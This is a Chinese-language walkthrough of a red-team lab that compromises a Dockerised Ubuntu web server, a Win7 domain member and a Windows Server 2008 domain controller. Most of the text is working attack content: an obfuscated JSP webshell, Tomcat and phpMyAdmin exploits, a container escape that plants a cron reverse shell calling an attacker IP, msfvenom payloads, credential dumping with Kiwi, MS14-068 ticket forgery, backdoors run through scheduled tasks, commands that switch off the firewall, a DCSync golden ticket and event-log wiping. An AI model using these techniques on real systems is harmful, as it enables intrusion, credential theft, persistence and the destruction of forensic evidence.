文章前言
本文完整复现外网 Ubuntu 双网卡 Web 容器→内网 Win7 域成员→Windows Server2008 域控完整渗透链路,靶场严格区分外网 NAT 网段、内网仅主机隔离网段,限制禁止使用永恒之蓝攻击域控,采用 Struts2/Tomcat/phpMyAdmin 三条 Web 打点路径、特权 Docker 挂载逃逸、FRP 反向隧道、MS14-068 Kerberos 票据伪造、DCSync 黄金票据持久化、日志痕迹清除全套实战技术。 所有操作仅在本地授权 VMware 虚拟靶场完成,仅供网络安全学习,严禁用于未授权系统测试。
一、实验靶场环境详解
1.1 靶场整体网络拓扑

图解:拓扑图分为三层,攻击端 Kali处于外网 NAT 网段;中间跳板 Ubuntu Web 服务器双网卡,网卡 1 对接外网、网卡 2 对接内网 仅主机网段;内网包含 Win7 域成员、Win2008 域控 DC 。
(以自己实际IP为准)
目的:模拟企业真实边界架构,公网仅暴露 Web 业务服务器,内网域环境完全隔离无公网入口,攻击者必须突破 Web 跳板、打通内网隧道才能访问核心域控资产。
网段规则说明:
1.2 VMware 虚拟网络配置

图解:VMware 虚拟网络编辑器,VMnet1 设置为仅主机模式,子网 IP 固定192.168.183.0,开启 DHCP 自动分配内网 IP。
目的:手动锁定内网网段,保证 Win7、域控固定内网 IP,避免网段漂移导致扫描、隧道通信失效。
1.3虚拟机账号密码
web:ubuntu\\ubuntu
win7:douser\\Dotest123
DC:administrator\\Test2008
1.4 实验前置必做操作
(1)Web 容器启动命令
sudo docker start ec 17 09

图解:Ubuntu 终端执行sudo docker start ec 17 09启动漏洞容器,下方弹窗为初始化快照创建界面。
目的:靶场漏洞全部运行在 Docker 容器内,不启动容器则无 Struts2、Tomcat、phpMyAdmin 漏洞服务,实验无法开展;初始化快照用于实验故障一键回滚。
(2)Win7 休眠关闭配置

图解:控制面板电源计划,关闭显示器、进入睡眠状态全部设置为「从不」。
目的:防止实验过程中 Win7 自动休眠断网,导致 FRP 隧道、Meterpreter 会话断开。
(3)虚拟机快照
三台虚拟机全部完成网络、服务、电源配置后,统一拍摄「初始化」快照,后续操作破坏虚拟机环境可一键恢复初始干净状态,节省环境重搭时间。

二、完整渗透思路分层拆解
整体攻击闭环:外网 Web 多路径打点 → 容器权限判断 + 特权 Docker 挂载逃逸获取宿主机 Root → FRP 反向 Socks 打通内网隧道 → 内网 C 段扫描拿下 Win7 域成员 → Kiwi 抓取普通域账号 → MS14-068 伪造高权限 Kerberos 票据横向至域控 → 域控后门持久化 + DCSync 导出 krbtgt 制作黄金票据 → 全系统事件日志清除痕迹
2.1 外网打点层
外网唯一入口 Ubuntu 容器开放 3 个漏洞 Web 服务,三条独立 GetShell 路径:
2.2 Docker 逃逸层
通过.dockerenv、cgroup、Cap 权限掩码判定容器环境;Cap 掩码证明为特权容器,挂载宿主机磁盘分区写入定时反弹任务,跳出容器获取 Ubuntu 宿主机完整 Root 权限,打通内外网双网卡流量。
2.3 内网隧道与横向移动层
宿主机部署 FRP 反向 Socks 代理,将内网192.168.183.0流量转发至 Kali;Fscan 扫描内网存活 Win7 与域控;使用 MS17-010 拿下 Win7 SYSTEM 权限,内存抓取普通域账号douser明文凭据。
2.4 域控提权接管层
利用 MS14-068 票据伪造漏洞,普通低权限账号生成域管理员 TGT 票据;凭借票据访问域控 C$ 共享上传正向 Meterpreter 后门,系统定时任务维持域控在线会话。
2.5 权限维持与痕迹清理层
域控 SYSTEM 权限下 DCSync 拉取 krbtgt 账户 NTLM 哈希,生成长期有效黄金票据;MSF 事件日志模块清空 Windows 安全、目录服务、应用全量日志,消除所有渗透操作溯源痕迹。
三、分步详细实战操作(配图说明)
3.1 外网资产探测:定位 Web 漏洞靶机
3.1.1 ARP 二层存活扫描
netdiscover -r 192.168.241.0/24

图解:二层 ARP 扫描输出网段 4 台 VMware 虚拟机,192.168.241.149为 Ubuntu Web 跳板 IP。 目的:ARP 二层报文不会被 Windows 防火墙拦截,快速定位公网唯一可攻击 Web 服务器,替代易被拦截的三层 Nmap 扫描。
3.1.2 Nmap 全端口服务版本探测
nmap -p- -n -O -A -Pn -v -sV 192.168.241.149

图解:扫描结果开放 2001 (Struts2)、2002 (Tomcat8.5.19)、2003 (phpMyAdmin4.8.1) 三个漏洞 Web 端口,系统为 Ubuntu 容器。
目的:枚举所有开放端口、服务版本,快速匹配对应 CVE 漏洞编号,确定三条独立外网打点攻击路径。
3.2 路径一:Struts2 S2-046 漏洞 GetShell
3.2.1 访问漏洞页面确认框架

图解:浏览器访问 2001 端口,页面存在.action上传接口,典型 Struts2 框架特征。
判断依据:URL 后缀.action为 Struts2 默认路由标识,存在文件上传功能,存在 S2 系列漏洞风险。
3.2.2 工具批量扫描漏洞

图解:扫描工具检测出目标同时存在 S2-045、S2-046 上传绕过漏洞,返回 200 可利用状态码。 目的:批量验证漏洞可用性,确认可直接上传 JSP 一句话木马。
3.2.3 上传 JSP 一句话马
<% // 获取请求参数 String H6Pv4 = request.getParameter("zxx"); if (H6Pv4 != null) { // 自定义类加载器 class E9OXyWMn extends ClassLoader { E9OXyWMn(ClassLoader parent) { super(parent); } // 自定义类定义方法 public Class H6Pv4(byte[] b) { return super.defineClass(b, 0, b.length); } } // 字节码数组 byte[] bytes = null; try { // 初始化的异或解密数组 int[] aa = new int[]{ 99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98 }; // 解密字符串 StringBuilder ccstrBuilder = new StringBuilder(); for (int i = 0; i < aa.length; i++) { aa[i] ^= 16; // 异或解密 ccstrBuilder.append((char) aa[i]); } String ccstr = ccstrBuilder.toString(); // 加载解密后的类 Class APh7z = Class.forName(ccstr); // 调用解码方法 String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}); bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4); } catch (Exception e) { // 如果解密失败,尝试使用 Base64 解码 bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4); } // 使用自定义类加载器加载字节码 Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes); // 创建类的实例并调用 equals 方法 Object o = aClass.newInstance(); o.equals(pageContext); } %>

图解:工具上传面板填入异或加密 JSP Webshell,文件命名 temp111.jsp 上传至 Web 根目录。 原理:采用异或解密 + 自定义类加载器,规避网站 WAF 简单特征拦截,兼容 Tomcat 运行环境。
3.2.4 蚁剑连接 Webshell

图解:填写漏洞 URL 与连接密码 zxx,测试连接返回绿色成功标识。
目的:交互式获取容器文件读写、系统命令执行权限,作为容器逃逸操作入口。
3.2.5 Webshell 环境信息判断

图解:执行ls /.dockerenv、cat /proc/1/cgroup,目录与进程文件均包含 docker 字段,确认当前处于 Docker 容器内。
结论:当前仅容器权限,无法访问宿主机内网网卡,必须执行 Docker 逃逸。
3.3 路径二:Tomcat CVE-2017-12617 PUT 上传漏洞
3.3.1 访问 Tomcat 默认页面

图解:2002 端口 Apache Tomcat 8.5.19 版本页面,版本号匹配 CVE-2017-12617 漏洞。
原理:Tomcat 允许 PUT 请求上传文件,文件名末尾添加/绕过 jsp 后缀拦截限制。
3.3.2 Exploit 脚本自动上传马
searchsploit tomcat 8.5.19
Python3 42966.py -u http://192.168.241.149:2002 -pwn zxx

图解:执行 42966.py 漏洞脚本,自动 PUT 上传 JSP 马,执行 whoami 返回容器 root 权限。
目的:一键自动化完成漏洞利用,快速获取第二条容器 Webshell 备用通道。
3.3.3 Burp 手工复现漏洞(无工具环境备用)


图解:左侧 Reuter 构造 PUT 请求,文件名zxx.jsp/添加斜杠绕过校验,请求体放入 JSP 一句话;右侧为服务器 200 成功响应。
手工利用逻辑:Tomcat 校验文件名时截断斜杠,最终生成 zxx.jsp 可执行后门文件。
3.3.4 蚁剑 Tomcat Webshell 文件管理

图解:蚁剑列出 Tomcat 容器 webapps、logs 等目录,完整拥有容器读写权限。
3.4 路径三:phpMyAdmin 4.8.1 LFI 本地文件包含漏洞
3.4.1 无密码登录 phpMyAdmin 后台

图解:2003 端口直接免密进入数据库后台,版本 4.8.1 存在认证后本地文件包含漏洞。
前置优势:靶场未设置数据库登录密码,直接拥有全部 SQL 执行权限。
3.4.2 探测网站绝对路径


图解 1:直接访问 phpinfo 页面无输出,无法获取网站物理路径;
图解 2:执行SHOW VARIABLES LIKE "%log%"查询通用日志存储路径,备用写马方案。
3.4.3 Searchsploit 匹配漏洞 EXP
根据首页看到的phpmyadmin的版本为4.8.1,使用Apache搭建的服务器
搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)
searchsploit phpmyadmin 4.8.1
exploitdb
cp exploits/php/webapps/44924.txt /root/Desktop

图解:检索到 44924.txt 本地文件包含、50457.py 远程代码执行 EXP,确认漏洞利用方式。
3.4.4 LFI 读取 /etc/passwd 验证漏洞可用性

图解:构造 LFI payload 拼接路径读取 passwd,成功输出系统账号列表,证明文件包含可任意读取服务器文件。
3.4.5 SQL 写入 Webshell 结合 Session 包含执行

获取session值

获取session值后拼接路径读取session文件,查看phpinfo
http://192.168.241.134:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/
利用 file_put_contents 函数 GetShell,先把代码写入session中

拿到新的session后再次拼接执行代码

完整流程注解:
3.4.6 蚁剑连接 php 后门

图解:填入 2003 端口 zxx.php 地址与密码,成功建立第三条容器控制通道。
3.5 Docker 特权容器逃逸(核心跳板突破)
3.5.1 判定当前容器环境

图解:根目录存在.dockerenv、/proc/1/cgroup 包含 docker 字符串,确认运行在容器内。
3.5.2 判断特权容器 Cap 权限

图解:执行cat /proc/self/status |grep Cap,CapEff 掩码为0000003fffffffff,代表完整特权容器,支持挂载宿主机磁盘逃逸。
逃逸原理:特权容器拥有挂载设备权限,可识别宿主机 /dev/sda 磁盘,写入宿主机定时任务反弹 Root Shell。
3.5.3 容器内挂载宿主机磁盘
fdisk -l
mkdir -p /zxx
mount /dev/sda1 /zxx
nc -lvvp 54321
cd /zxx
touch /zxx/zxx.sh
echo "bash -i >& /dev/tcp/192.168.157.129/54321 0>&1" > /zxx/zxx.sh
echo "* * * * * root bash /zxx.sh" >> /zxx/etc/crontab



操作流程注解:
3.5.4 MSF 生成 Linux 反弹 Meterpreter 载荷
反弹msf的shell到宿主机
uname -m msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.241.134 LPORT=4444 -f elf > /root/zxx.elf msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.241.134 set LPORT 4444 run python3 -m http.server 8000



图解:生成 x64 Linux 反弹 elf 程序,Kali 本地 8000 端口搭建静态文件服务,容器 wget 下载载荷。
3.5.5 宿主机 Root 反弹会话上线


图解:宿主机定时任务触发 elf 程序,Kali MSF 收到 Ubuntu 宿主机 Root 权限 Meterpreter,成功跳出 Docker 容器,完整控制双网卡跳板服务器,可访问内网网段。
3.6 FRP 反向 Socks5 内网隧道搭建
3.6.1 宿主机双网卡内网网段识别

图解:eth1 网卡 IP192.168.183.129,属于内网仅主机网段,可连通 Win7 与域控。
3.6.2 Fscan 扫描内网存活资产

图解:扫描发现存活主机 192.168.183.128 (Win7)、192.168.183.130 (DC),两台主机 445 端口开放且存在 MS17-010 漏洞。
3.6.3 FRP 客户端部署与隧道启动
使用frp搭建隧道,kali做服务端,web做客户端
#kali服务端
chmod +x frps ./frps -c ./frps.toml
meterpreter 内执行:
upload /root/Desktop/Tools/frp/frp_0.52.3_linux_amd64/frpc
upload /root/Desktop/Tools/frp/frp_0.52.3_linux_amd64/frpc.toml
chmod +x
frpc nohup ./frpc -c frpc.toml >/dev/null 2>&1 &


图解:Meterpreter 上传 frpc 客户端与配置文件,后台运行 FRP,成功建立 Socks5 代理端口 6000,Kali 所有工具可代理访问内网。
隧道作用:打通外网 Kali 与隔离内网,无需修改虚拟机网卡,全局代理扫描、漏洞利用内网 Windows 主机。
3.6.4 Proxychains+MSF 利用 MS17-010 拿下 Win7

图解:Proxychains 加载 Socks 代理,MSF 永恒之蓝模块攻击内网 Win7,获取 SYSTEM 高权限 Meterpreter 会话。
规则说明:靶场仅允许 Win7 使用 MS17-010,域控严格禁止该漏洞利用。
3.6.5 Kiwi 抓取内存域账号凭据
在 Win7 SYSTEM 会话执行load kiwi,sekurlsa::logonPasswords抓取内存登录信息,获取普通域账号:DEMO\\douser:Dotest123,为 MS14-068 票据伪造提供基础凭据。
sysinfo
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

3.7 MS14-068 漏洞伪造票据拿下域控
#开启3389端口
use post/windows/manage/enable_rdp
set session 1
run
#判断是否存在该漏洞
systeminfo |find “3011780”
#MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
生成票据

kerberos::purge
kerberos::ptc "TGT_douser@DEMO.COM.ccache"

注入完成后即可访问到域控目录
#查看域内成员
net view
#访问域管理员目录
dir \\\\WIN-ENS2VR5TR3N\\c$\\" class=
生成正向 payload 先上传到 win7 再上传到dc
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.241.134 LPORT=6666 -f exe > /root/zxx.exe
upload /root/zxx.exe C:\\\\Users\\\\douser\\\\Desktop\\\\zxx.exe
copy copy zxx.exe \\\\WIN-ENS3VR5TRN\\c$

上传完成后创建计划任务执行payload
# 在域控创建每分钟执行一次的计划任务运行后门程序
schtasks /create /S 192.168.138.130 /TN "zxx" /TR C:\\zxx.exe /SC MINUTE /MO 1 /ru system /f /RP
# MSF开启bind_tcp监听,等待域控主动连接
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 192.168.138.130 set LPORT 6666 run
# 生成关闭防火墙批处理脚本
echo netsh advfirewall set allprofiles state off > zxx.bat
# 将防火墙脚本上传至域控C盘根目录
copy zxx.bat \\\\192.168.138.130\\c$
# 创建计划任务定时执行关闭防火墙脚本
schtasks /create /S 192.168.138.130 /TN "zxx2" /TR C:\\zxx.bat /SC MINUTE /MO 1 /ru system /f /RP
防火墙关闭后即可连接成功

3.8 黄金票据权限维持 + 全日志清除
3.8.1 DCSync 导出 krbtgt 哈希制作黄金票据
在域控 SYSTEM 权限加载 kiwi,执行 lsadump::dcsync 导出 krbtgt 账户 NTLM 哈希,通过哈希生成有效期 10 年黄金票据;票据不受管理员密码修改、账号锁定影响,实现永久免密访问全域主机。
制作黄金票据
# 加载令牌窃取模块
load incognito
# 列出系统内所有可用用户令牌
list_tokens -u
# 模拟域管理员token
impersonate_token "DEMO\\Administrator"
# 加载kiwi凭据抓取模块
load kiwi
# DCSync导出krbtgt哈希
kiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt"
golden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zxx -s S-1-5-21-979886063-1111900045-1414766810 -t /root/Desktop/zxx.ticket
# 使用黄金票据
kerberos_ticket_use /root/桌面/zxx.ticket
# 列出票据
creds_all
3.8.2 清除全量 Windows 事件日志
清理日志
#查看事件日志
run event_manager -i
#清除所有日志
run event_manager -c

图解:MSF event_manager 模块批量清除应用日志、安全日志、目录服务日志、DNS 服务器日志,消除渗透操作所有溯源痕迹,完成完整渗透闭环。
四、踩坑、原因、解决方案
1:MSF 开启 socks_proxy 代理自动停止
- 现象:run 代理模块瞬间 Stopping,无法提供内网转发;
- 根因:Meterpreter 所有流量本身经过跳板隧道,MSF 内部再开 Socks 形成流量环路死锁;
- 解决方案:分开两个终端,终端 A 纯净环境常驻 socks_proxy,终端 B 加载 proxychains 执行漏洞利用,隔离环路。
2:Portfwd 端口转发提示地址占用、会话丢失
- 现象:添加转发端口报错占用,切换操作窗口转发失效;
- 根因:端口被本地进程占用,切换会话后跳板 Meterpreter 丢失;
- 解决方案:portfwd list 查看已占用端口,更换空闲端口;所有转发操作前执行sessions确认跳板会话存活。
3:Proxychains 扫描 445 超时,永恒之蓝判定无漏洞
- 现象:SMB 长连接走全局 Socks 丢包,模块直接判定目标无漏洞;
- 根因:Socks5 代理对 445 SMB 协议兼容性差,延迟极高;
- 解决方案:放弃全局代理,使用 meterpreter portfwd 单端口定向转发;MSF 漏洞利用添加set Check false跳过预扫描检测,直接执行 EXP。
4:Psexec 传入账号带反斜杠认证失败
- 现象:douser\\Dotest123参数解析丢失斜杠,账号校验不通过;
- 根因:终端特殊转义字符自动过滤反斜杠;
- 解决方案:账号密码整体使用英文双引号包裹传递参数。
5:反弹木马 LHOST 绑定内网 IP 监听失败
- 现象:handler 提示端口绑定失败;
- 根因:Kali 本机无对应内网网卡,无法监听目标网段 IP;
- 解决方案:反弹载荷 LHOST 设为0.0.0.0监听本机全部网卡,内网横向改用 bind_tcp 正向载荷无需反弹监听。
五、总结、防御策略
5.1 总结
5.2 企业服务安全防御策略
Web 服务加固
Windows 终端加固
域环境加固
本次三层域渗透串联 Web 漏洞、容器逃逸、内网隧道、Windows 域攻击全套安全技术,完整复刻企业公网 – 内网隔离防护架构。实验过程中绝大多数报错来源于网络配置、代理环路、端口冲突,实验前规范虚拟机网络、拍摄初始化快照可大幅降低排错成本。
在Docker逃逸,内网隧道搭建,提权这几个都是比较难却容易出错的。
可以参考红日靶场-红队评估四来进行理解学习。
声明:
渗透测试具备极强合规要求,所有漏洞测试必须持有甲方书面授权,未授权扫描、入侵业务系统违反《网络安全法》,日常技术学习仅能在本地隔离虚拟靶场开展。



